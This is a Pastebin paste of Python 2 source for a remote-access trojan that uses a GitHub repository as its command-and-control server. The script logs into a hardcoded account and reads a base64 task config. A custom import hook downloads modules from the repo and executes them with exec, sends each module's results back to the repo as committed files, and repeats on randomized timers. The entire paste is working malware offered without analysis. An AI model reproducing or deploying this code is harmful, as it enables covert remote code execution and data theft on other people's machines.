Advertisement
Guest User

Untitled

a guest
Mar 30th, 2016
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.41 KB | None | 0 0
  1. import json
  2. import base64
  3. import sys
  4. import time
  5. import imp
  6. import random
  7. import threading
  8. import Queue
  9. import os
  10.  
  11. from github3 import login
  12.  
  13. trojan_id = "abc"
  14.  
  15. trojan_config = "%s.json" % trojan_id
  16. data_path = "data/%s/" % trojan_id
  17. trojan_modules = []
  18. configured = False
  19. task_queue = Queue.Queue()
  20.  
  21. def connect_to_github():
  22. print "[*] connect_to_github"
  23. gh = login(username="sedew810225", password="")
  24. repo = gh.repository("sedew810225","chapter7")
  25. branch = repo.branch("master")
  26.  
  27. return gh,repo,branch
  28.  
  29. def get_file_contents(filepath):
  30. print "[*] get_file_contents"
  31. gh,repo,branch = connect_to_github()
  32. tree = branch.commit.commit.tree.recurse()
  33.  
  34. for filename in tree.tree:
  35. if filepath in filename.path:
  36. print "[*] Found file %s" % filepath
  37. blob = repo.blob(filename._json_data['sha'])
  38. return blob.content
  39. return None
  40.  
  41. def get_trojan_config() :
  42. print "[*] get_trojan_config"
  43. global configured
  44. config_json = get_file_contents(trojan_config)
  45. b_config_json = base64.b64decode(config_json)
  46. print b_config_json
  47. config = json.loads(base64.b64decode(config_json))
  48. configured = True
  49.  
  50. for task in config:
  51. if task['module'] not in sys.modules:
  52. exec("import %s" % task['module'])
  53. return config
  54.  
  55. def store_module_result(data):
  56. print "[*] store_module_result"
  57. gh,repo,branch = connect_to_github()
  58. remote_path = "data/%s/%d.data" % (trojan_id, random.randint(1000,100000))
  59. repo.create_file(remote_path, "Commit message", base64.b64encode(data))
  60.  
  61. return
  62.  
  63. class GitImporter(object):
  64. def __init__(self):
  65. self.current_module_code = ""
  66.  
  67. def find_module(self,fullname,path=None):
  68. if configured:
  69. print "[*] Attempting to retrieve %s" % fullname
  70. new_library = get_file_contents("modules/%s" %fullname)
  71.  
  72. if new_library is not None :
  73. self.current_module_code = base64.b64decode(new_library)
  74. return self
  75. return None
  76.  
  77. def load_module(self,name):
  78. module = imp.new_module(name)
  79. exec self.current_module_code in module.__dict__
  80. sys.modules[name] = module
  81.  
  82. return module
  83.  
  84. def module_runner(module):
  85. print "[*] module_runner"
  86. task_queue.put(1)
  87. result = sys.modules[module].run()
  88. task_queue.get()
  89. store_module_result(result)
  90. return
  91.  
  92. sys.meta_path = [GitImporter()]
  93.  
  94. while True:
  95. if task_queue.empty():
  96. config = get_trojan_config()
  97.  
  98. for task in config:
  99. t = threading.Thread(target=module_runner, args=(task['module'],))
  100. t.start()
  101. time.sleep(random.randint(1,10))
  102. time.sleep(random.randint(1000,10000))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement